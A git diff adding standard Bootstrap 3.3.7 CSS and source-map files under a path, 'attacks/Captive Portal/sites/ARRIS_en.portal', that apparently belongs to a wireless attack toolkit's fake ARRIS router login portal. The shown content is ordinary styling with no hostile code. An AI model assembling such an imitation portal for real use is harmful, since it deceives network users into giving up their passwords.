10+\n background-image: -o-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Opera 12\n background-image: linear-gradient(to right, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n background-repeat: repeat-x;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)\",argb(@start-color),argb(@end-color))); // IE9 and down\n }\n\n // Vertical gradient, from top to bottom\n //\n // Creates two color stops, start and end, by specifying a color and position for each color stop.\n // Color stops are not available in IE9 and below.\n .vertical(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {\n background-image: -webkit-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Opera 12\n background-image: linear-gradient(to bottom, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n background-repeat: repeat-x;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",argb(@start-color),argb(@end-color))); // IE9 and down\n }\n\n .directional(@start-color: #555; @end-color: #333; @deg: 45deg) {\n background-repeat: repeat-x;\n background-image: -webkit-linear-gradient(@deg, @start-color, @end-color); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(@deg, @start-color, @end-color); // Opera 12\n background-image: linear-gradient(@deg, @start-color, @end-color); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n }\n .horizontal-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {\n background-image: -webkit-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);\n background-image: -o-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);\n background-image: linear-gradient(to right, @start-color, @mid-color @color-stop, @end-color);\n background-repeat: no-repeat;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)\",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback\n }\n .vertical-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {\n background-image: -webkit-linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-image: -o-linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-image: linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-repeat: no-repeat;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback\n }\n .radial(@inner-color: #555; @outer-color: #333) {\n background-image: -webkit-radial-gradient(circle, @inner-color, @outer-color);\n background-image: radial-gradient(circle, @inner-color, @outer-color);\n background-repeat: no-repeat;\n }\n .striped(@color: rgba(255,255,255,.15); @angle: 45deg) {\n background-image: -webkit-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n background-image: linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n }\n}\n","// Reset filters for IE\n//\n// When you need to remove a gradient background, do not forget to use this to reset\n// the IE filter for IE9 and below.\n\n.reset-filter() {\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(enabled = false)\"));\n}\n"]} \ No newline at end of file diff --git a/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap-theme.min.css b/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap-theme.min.css new file mode 100644 index 0000000..5e39401 --- /dev/null +++ b/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap-theme.min.css @@ -0,0 +1,6 @@ +/*! + * Bootstrap v3.3.7 (http://getbootstrap.com) + * Copyright 2011-2016 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */.btn-danger,.btn-default,.btn-info,.btn-primary,.btn-success,.btn-warning{text-shadow:0 -1px 0 rgba(0,0,0,.2);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 1px rgba(0,0,0,.075)}.btn-danger.active,.btn-danger:active,.btn-default.active,.btn-default:active,.btn-info.active,.btn-info:active,.btn-primary.active,.btn-primary:active,.btn-success.active,.btn-success:active,.btn-warning.active,.btn-warning:active{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-danger.disabled,.btn-danger[disabled],.btn-default.disabled,.btn-default[disabled],.btn-info.disabled,.btn-info[disabled],.btn-primary.disabled,.btn-primary[disabled],.btn-success.disabled,.btn-success[disabled],.btn-warning.disabled,.btn-warning[disabled],fieldset[disabled] .btn-danger,fieldset[disabled] .btn-default,fieldset[disabled] .btn-info,fieldset[disabled] .btn-primary,fieldset[disabled] .btn-success,fieldset[disabled] .btn-warning{-webkit-box-shadow:none;box-shadow:none}.btn-danger .badge,.btn-default .badge,.btn-info .badge,.btn-primary .badge,.btn-success .badge,.btn-warning .badge{text-shadow:none}.btn.active,.btn:active{background-image:none}.btn-default{text-shadow:0 1px 0 #fff;background-image:-webkit-linear-gradient(top,#fff 0,#e0e0e0 100%);background-image:-o-linear-gradient(top,#fff 0,#e0e0e0 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e0e0e0));background-image:linear-gradient(to bottom,#fff 0,#e0e0e0 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe0e0e0', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#dbdbdb;border-color:#ccc}.btn-default:focus,.btn-default:hover{background-color:#e0e0e0;background-position:0 -15px}.btn-default.active,.btn-default:active{background-color:#e0e0e0;border-color:#dbdbdb}.btn-default.disabled,.btn-default.disabled.active,.btn-default.disabled.focus,.btn-default.disabled:active,.btn-default.disabled:focus,.btn-default.disabled:hover,.btn-default[disabled],.btn-default[disabled].active,.btn-default[disabled].focus,.btn-default[disabled]:active,.btn-default[disabled]:focus,.btn-default[disabled]:hover,fieldset[disabled] .btn-default,fieldset[disabled] .btn-default.active,fieldset[disabled] .btn-default.focus,fieldset[disabled] .btn-default:active,fieldset[disabled] .btn-default:focus,fieldset[disabled] .btn-default:hover{background-color:#e0e0e0;background-image:none}.btn-primary{background-image:-webkit-linear-gradient(top,#337ab7 0,#265a88 100%);background-image:-o-linear-gradient(top,#337ab7 0,#265a88 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#265a88));background-image:linear-gradient(to bottom,#337ab7 0,#265a88 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff265a88', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#245580}.btn-primary:focus,.btn-primary:hover{background-color:#265a88;background-position:0 -15px}.btn-primary.active,.btn-primary:active{background-color:#265a88;border-color:#245580}.btn-primary.disabled,.btn-primary.disabled.active,.btn-primary.disabled.focus,.btn-primary.disabled:active,.btn-primary.disabled:focus,.btn-primary.disabled:hover,.btn-primary[disabled],.btn-primary[disabled].active,.btn-primary[disabled].focus,.btn-primary[disabled]:active,.btn-primary[disabled]:focus,.btn-primary[disabled]:hover,fieldset[disabled] .btn-primary,fieldset[disabled] .btn-primary.active,fieldset[disabled] .btn-primary.focus,fieldset[disabled] .btn-primary:active,fieldset[disabled] .btn-primary:focus,fieldset[disabled] .btn-primary:hover{background-color:#265a88;background-image:none}.btn-success{background-image:-webkit-linear-gradient(top,#5cb85c 0,#419641 100%);background-image:-o-linear-gradient(top,#5cb85c 0,#419641 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5cb85c),to(#419641));background-image:linear-gradient(to bottom,#5cb85c 0,#419641 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff419641', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#3e8f3e}.btn-success:focus,.btn-success:hover{background-color:#419641;background-position:0 -15px}.btn-success.active,.btn-success:active{background-color:#419641;border-color:#3e8f3e}.btn-success.disabled,.btn-success.disabled.active,.btn-success.disabled.focus,.btn-success.disabled:active,.btn-success.disabled:focus,.btn-success.disabled:hover,.btn-success[disabled],.btn-success[disabled].active,.btn-success[disabled].focus,.btn-success[disabled]:active,.btn-success[disabled]:focus,.btn-success[disabled]:hover,fieldset[disabled] .btn-success,fieldset[disabled] .btn-success.active,fieldset[disabled] .btn-success.focus,fieldset[disabled] .btn-success:active,fieldset[disabled] .btn-success:focus,fieldset[disabled] .btn-success:hover{background-color:#419641;background-image:none}.btn-info{background-image:-webkit-linear-gradient(top,#5bc0de 0,#2aabd2 100%);background-image:-o-linear-gradient(top,#5bc0de 0,#2aabd2 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5bc0de),to(#2aabd2));background-image:linear-gradient(to bottom,#5bc0de 0,#2aabd2 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2aabd2', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#28a4c9}.btn-info:focus,.btn-info:hover{background-color:#2aabd2;background-position:0 -15px}.btn-info.active,.btn-info:active{background-color:#2aabd2;border-color:#28a4c9}.btn-info.disabled,.btn-info.disabled.active,.btn-info.disabled.focus,.btn-info.disabled:active,.btn-info.disabled:focus,.btn-info.disabled:hover,.btn-info[disabled],.btn-info[disabled].active,.btn-info[disabled].focus,.btn-info[disabled]:active,.btn-info[disabled]:focus,.btn-info[disabled]:hover,fieldset[disabled] .btn-info,fieldset[disabled] .btn-info.active,fieldset[disabled] .btn-info.focus,fieldset[disabled] .btn-info:active,fieldset[disabled] .btn-info:focus,fieldset[disabled] .btn-info:hover{background-color:#2aabd2;background-image:none}.btn-warning{background-image:-webkit-linear-gradient(top,#f0ad4e 0,#eb9316 100%);background-image:-o-linear-gradient(top,#f0ad4e 0,#eb9316 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f0ad4e),to(#eb9316));background-image:linear-gradient(to bottom,#f0ad4e 0,#eb9316 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffeb9316', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#e38d13}.btn-warning:focus,.btn-warning:hover{background-color:#eb9316;background-position:0 -15px}.btn-warning.active,.btn-warning:active{background-color:#eb9316;border-color:#e38d13}.btn-warning.disabled,.btn-warning.disabled.active,.btn-warning.disabled.focus,.btn-warning.disabled:active,.btn-warning.disabled:focus,.btn-warning.disabled:hover,.btn-warning[disabled],.btn-warning[disabled].active,.btn-warning[disabled].focus,.btn-warning[disabled]:active,.btn-warning[disabled]:focus,.btn-warning[disabled]:hover,fieldset[disabled] .btn-warning,fieldset[disabled] .btn-warning.active,fieldset[disabled] .btn-warning.focus,fieldset[disabled] .btn-warning:active,fieldset[disabled] .btn-warning:focus,fieldset[disabled] .btn-warning:hover{background-color:#eb9316;background-image:none}.btn-danger{background-image:-webkit-linear-gradient(top,#d9534f 0,#c12e2a 100%);background-image:-o-linear-gradient(top,#d9534f 0,#c12e2a 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9534f),to(#c12e2a));background-image:linear-gradient(to bottom,#d9534f 0,#c12e2a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc12e2a', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#b92c28}.btn-danger:focus,.btn-danger:hover{background-color:#c12e2a;background-position:0 -15px}.btn-danger.active,.btn-danger:active{background-color:#c12e2a;border-color:#b92c28}.btn-danger.disabled,.btn-danger.disabled.active,.btn-danger.disabled.focus,.btn-danger.disabled:active,.btn-danger.disabled:focus,.btn-danger.disabled:hover,.btn-danger[disabled],.btn-danger[disabled].active,.btn-danger[disabled].focus,.btn-danger[disabled]:active,.btn-danger[disabled]:focus,.btn-danger[disabled]:hover,fieldset[disabled] .btn-danger,fieldset[disabled] .btn-danger.active,fieldset[disabled] .btn-danger.focus,fieldset[disabled] .btn-danger:active,fieldset[disabled] .btn-danger:focus,fieldset[disabled] .btn-danger:hover{background-color:#c12e2a;background-image:none}.img-thumbnail,.thumbnail{-webkit-box-shadow:0 1px 2px rgba(0,0,0,.075);box-shadow:0 1px 2px rgba(0,0,0,.075)}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{background-color:#e8e8e8;background-image:-webkit-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-o-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#e8e8e8));background-image:linear-gradient(to bottom,#f5f5f5 0,#e8e8e8 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);background-repeat:repeat-x}.dropdown-menu>.active>a,.dropdown-menu>.active>a:focus,.dropdown-menu>.active>a:hover{background-color:#2e6da4;background-image:-webkit-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2e6da4));background-image:linear-gradient(to bottom,#337ab7 0,#2e6da4 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);background-repeat:repeat-x}.navbar-default{background-image:-webkit-linear-gradient(top,#fff 0,#f8f8f8 100%);background-image:-o-linear-gradient(top,#fff 0,#f8f8f8 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#f8f8f8));background-image:linear-gradient(to bottom,#fff 0,#f8f8f8 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 5px rgba(0,0,0,.075);box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 5px rgba(0,0,0,.075)}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.open>a{background-image:-webkit-linear-gradient(top,#dbdbdb 0,#e2e2e2 100%);background-image:-o-linear-gradient(top,#dbdbdb 0,#e2e2e2 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#dbdbdb),to(#e2e2e2));background-image:linear-gradient(to bottom,#dbdbdb 0,#e2e2e2 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdbdbdb', endColorstr='#ffe2e2e2', GradientType=0);background-repeat:repeat-x;-webkit-box-shadow:inset 0 3px 9px rgba(0,0,0,.075);box-shadow:inset 0 3px 9px rgba(0,0,0,.075)}.navbar-brand,.navbar-nav>li>a{text-shadow:0 1px 0 rgba(255,255,255,.25)}.navbar-inverse{background-image:-webkit-linear-gradient(top,#3c3c3c 0,#222 100%);background-image:-o-linear-gradient(top,#3c3c3c 0,#222 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#3c3c3c),to(#222));background-image:linear-gradient(to bottom,#3c3c3c 0,#222 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c', endColorstr='#ff222222', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-radius:4px}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.open>a{background-image:-webkit-linear-gradient(top,#080808 0,#0f0f0f 100%);background-image:-o-linear-gradient(top,#080808 0,#0f0f0f 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#080808),to(#0f0f0f));background-image:linear-gradient(to bottom,#080808 0,#0f0f0f 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff080808', endColorstr='#ff0f0f0f', GradientType=0);background-repeat:repeat-x;-webkit-box-shadow:inset 0 3px 9px rgba(0,0,0,.25);box-shadow:inset 0 3px 9px rgba(0,0,0,.25)}.navbar-inverse .navbar-brand,.navbar-inverse .navbar-nav>li>a{text-shadow:0 -1px 0 rgba(0,0,0,.25)}.navbar-fixed-bottom,.navbar-fixed-top,.navbar-static-top{border-radius:0}@media (max-width:767px){.navbar .navbar-nav .open .dropdown-menu>.active>a,.navbar .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar .navbar-nav .open .dropdown-menu>.active>a:hover{color:#fff;background-image:-webkit-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2e6da4));background-image:linear-gradient(to bottom,#337ab7 0,#2e6da4 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);background-repeat:repeat-x}}.alert{text-shadow:0 1px 0 rgba(255,255,255,.2);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.25),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 1px 0 rgba(255,255,255,.25),0 1px 2px rgba(0,0,0,.05)}.alert-success{background-image:-webkit-linear-gradient(top,#dff0d8 0,#c8e5bc 100%);background-image:-o-linear-gradient(top,#dff0d8 0,#c8e5bc 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#dff0d8),to(#c8e5bc));background-image:linear-gradient(to bottom,#dff0d8 0,#c8e5bc 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffc8e5bc', GradientType=0);background-repeat:repeat-x;border-color:#b2dba1}.alert-info{background-image:-webkit-linear-gradient(top,#d9edf7 0,#b9def0 100%);background-image:-o-linear-gradient(top,#d9edf7 0,#b9def0 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9edf7),to(#b9def0));background-image:linear-gradient(to bottom,#d9edf7 0,#b9def0 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffb9def0', GradientType=0);background-repeat:repeat-x;border-color:#9acfea}.alert-warning{background-image:-webkit-linear-gradient(top,#fcf8e3 0,#f8efc0 100%);background-image:-o-linear-gradient(top,#fcf8e3 0,#f8efc0 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fcf8e3),to(#f8efc0));background-image:linear-gradient(to bottom,#fcf8e3 0,#f8efc0 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fff8efc0', GradientType=0);background-repeat:repeat-x;border-color:#f5e79e}.alert-danger{background-image:-webkit-linear-gradient(top,#f2dede 0,#e7c3c3 100%);background-image:-o-linear-gradient(top,#f2dede 0,#e7c3c3 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f2dede),to(#e7c3c3));background-image:linear-gradient(to bottom,#f2dede 0,#e7c3c3 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffe7c3c3', GradientType=0);background-repeat:repeat-x;border-color:#dca7a7}.progress{background-image:-webkit-linear-gradient(top,#ebebeb 0,#f5f5f5 100%);background-image:-o-linear-gradient(top,#ebebeb 0,#f5f5f5 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#f5f5f5));background-image:linear-gradient(to bottom,#ebebeb 0,#f5f5f5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff5f5f5', GradientType=0);background-repeat:repeat-x}.progress-bar{background-image:-webkit-linear-gradient(top,#337ab7 0,#286090 100%);background-image:-o-linear-gradient(top,#337ab7 0,#286090 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#286090));background-image:linear-gradient(to bottom,#337ab7 0,#286090 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff286090', GradientType=0);background-repeat:repeat-x}.progress-bar-success{background-image:-webkit-linear-gradient(top,#5cb85c 0,#449d44 100%);background-image:-o-linear-gradient(top,#5cb85c 0,#449d44 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5cb85c),to(#449d44));background-image:linear-gradient(to bottom,#5cb85c 0,#449d44 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0);background-repeat:repeat-x}.progress-bar-info{background-image:-webkit-linear-gradient(top,#5bc0de 0,#31b0d5 100%);background-image:-o-linear-gradient(top,#5bc0de 0,#31b0d5 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5bc0de),to(#31b0d5));background-image:linear-gradient(to bottom,#5bc0de 0,#31b0d5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0);background-repeat:repeat-x}.progress-bar-warning{background-image:-webkit-linear-gradient(top,#f0ad4e 0,#ec971f 100%);background-image:-o-linear-gradient(top,#f0ad4e 0,#ec971f 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f0ad4e),to(#ec971f));background-image:linear-gradient(to bottom,#f0ad4e 0,#ec971f 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0);background-repeat:repeat-x}.progress-bar-danger{background-image:-webkit-linear-gradient(top,#d9534f 0,#c9302c 100%);background-image:-o-linear-gradient(top,#d9534f 0,#c9302c 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9534f),to(#c9302c));background-image:linear-gradient(to bottom,#d9534f 0,#c9302c 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0);background-repeat:repeat-x}.progress-bar-striped{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.list-group{border-radius:4px;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.075);box-shadow:0 1px 2px rgba(0,0,0,.075)}.list-group-item.active,.list-group-item.active:focus,.list-group-item.active:hover{text-shadow:0 -1px 0 #286090;background-image:-webkit-linear-gradient(top,#337ab7 0,#2b669a 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2b669a 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2b669a));background-image:linear-gradient(to bottom,#337ab7 0,#2b669a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2b669a', GradientType=0);background-repeat:repeat-x;border-color:#2b669a}.list-group-item.active .badge,.list-group-item.active:focus .badge,.list-group-item.active:hover .badge{text-shadow:none}.panel{-webkit-box-shadow:0 1px 2px rgba(0,0,0,.05);box-shadow:0 1px 2px rgba(0,0,0,.05)}.panel-default>.panel-heading{background-image:-webkit-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-o-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#e8e8e8));background-image:linear-gradient(to bottom,#f5f5f5 0,#e8e8e8 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);background-repeat:repeat-x}.panel-primary>.panel-heading{background-image:-webkit-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2e6da4));background-image:linear-gradient(to bottom,#337ab7 0,#2e6da4 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);background-repeat:repeat-x}.panel-success>.panel-heading{background-image:-webkit-linear-gradient(top,#dff0d8 0,#d0e9c6 100%);background-image:-o-linear-gradient(top,#dff0d8 0,#d0e9c6 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#dff0d8),to(#d0e9c6));background-image:linear-gradient(to bottom,#dff0d8 0,#d0e9c6 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffd0e9c6', GradientType=0);background-repeat:repeat-x}.panel-info>.panel-heading{background-image:-webkit-linear-gradient(top,#d9edf7 0,#c4e3f3 100%);background-image:-o-linear-gradient(top,#d9edf7 0,#c4e3f3 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9edf7),to(#c4e3f3));background-image:linear-gradient(to bottom,#d9edf7 0,#c4e3f3 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffc4e3f3', GradientType=0);background-repeat:repeat-x}.panel-warning>.panel-heading{background-image:-webkit-linear-gradient(top,#fcf8e3 0,#faf2cc 100%);background-image:-o-linear-gradient(top,#fcf8e3 0,#faf2cc 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fcf8e3),to(#faf2cc));background-image:linear-gradient(to bottom,#fcf8e3 0,#faf2cc 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fffaf2cc', GradientType=0);background-repeat:repeat-x}.panel-danger>.panel-heading{background-image:-webkit-linear-gradient(top,#f2dede 0,#ebcccc 100%);background-image:-o-linear-gradient(top,#f2dede 0,#ebcccc 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f2dede),to(#ebcccc));background-image:linear-gradient(to bottom,#f2dede 0,#ebcccc 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffebcccc', GradientType=0);background-repeat:repeat-x}.well{background-image:-webkit-linear-gradient(top,#e8e8e8 0,#f5f5f5 100%);background-image:-o-linear-gradient(top,#e8e8e8 0,#f5f5f5 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#e8e8e8),to(#f5f5f5));background-image:linear-gradient(to bottom,#e8e8e8 0,#f5f5f5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8', endColorstr='#fff5f5f5', GradientType=0);background-repeat:repeat-x;border-color:#dcdcdc;-webkit-box-shadow:inset 0 1px 3px rgba(0,0,0,.05),0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 3px rgba(0,0,0,.05),0 1px 0 rgba(255,255,255,.1)} +/*# sourceMappingURL=bootstrap-theme.min.css.map */ \ No newline at end of file diff --git a/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap-theme.min.css.map b/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap-theme.min.css.map new file mode 100644 index 0000000..94813e9 --- /dev/null +++ b/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap-theme.min.css.map @@ -0,0 +1 @@ +{"version":3,"sources":["less/theme.less","less/mixins/vendor-prefixes.less","less/mixins/gradients.less","less/mixins/reset-filter.less"],"names":[],"mappings":";;;;AAmBA,YAAA,aAAA,UAAA,aAAA,aAAA,aAME,YAAA,EAAA,KAAA,EAAA,eC2CA,mBAAA,MAAA,EAAA,IAAA,EAAA,sBAAA,EAAA,IAAA,IAAA,iBACQ,WAAA,MAAA,EAAA,IAAA,EAAA,sBAAA,EAAA,IAAA,IAAA,iBDvCR,mBAAA,mBAAA,oBAAA,oBAAA,iBAAA,iBAAA,oBAAA,oBAAA,oBAAA,oBAAA,oBAAA,oBCsCA,mBAAA,MAAA,EAAA,IAAA,IAAA,iBACQ,WAAA,MAAA,EAAA,IAAA,IAAA,iBDlCR,qBAAA,sBAAA,sBAAA,uBAAA,mBAAA,oBAAA,sBAAA,uBAAA,sBAAA,uBAAA,sBAAA,uBAAA,+BAAA,gCAAA,6BAAA,gCAAA,gCAAA,gCCiCA,mBAAA,KACQ,WAAA,KDlDV,mBAAA,oBAAA,iBAAA,oBAAA,oBAAA,oBAuBI,YAAA,KAyCF,YAAA,YAEE,iBAAA,KAKJ,aErEI,YAAA,EAAA,IAAA,EAAA,KACA,iBAAA,iDACA,iBAAA,4CAAA,iBAAA,qEAEA,iBAAA,+CCnBF,OAAA,+GH4CA,OAAA,0DACA,kBAAA,SAuC2C,aAAA,QAA2B,aAAA,KArCtE,mBAAA,mBAEE,iBAAA,QACA,oBAAA,EAAA,MAGF,oBAAA,oBAEE,iBAAA,QACA,aAAA,QAMA,sBAAA,6BAAA,4BAAA,6BAAA,4BAAA,4BAAA,uBAAA,8BAAA,6BAAA,8BAAA,6BAAA,6BAAA,gCAAA,uCAAA,sCAAA,uCAAA,sCAAA,sCAME,iBAAA,QACA,iBAAA,KAgBN,aEtEI,iBAAA,oDACA,iBAAA,+CACA,iBAAA,wEAAA,iBAAA,kDAEA,OA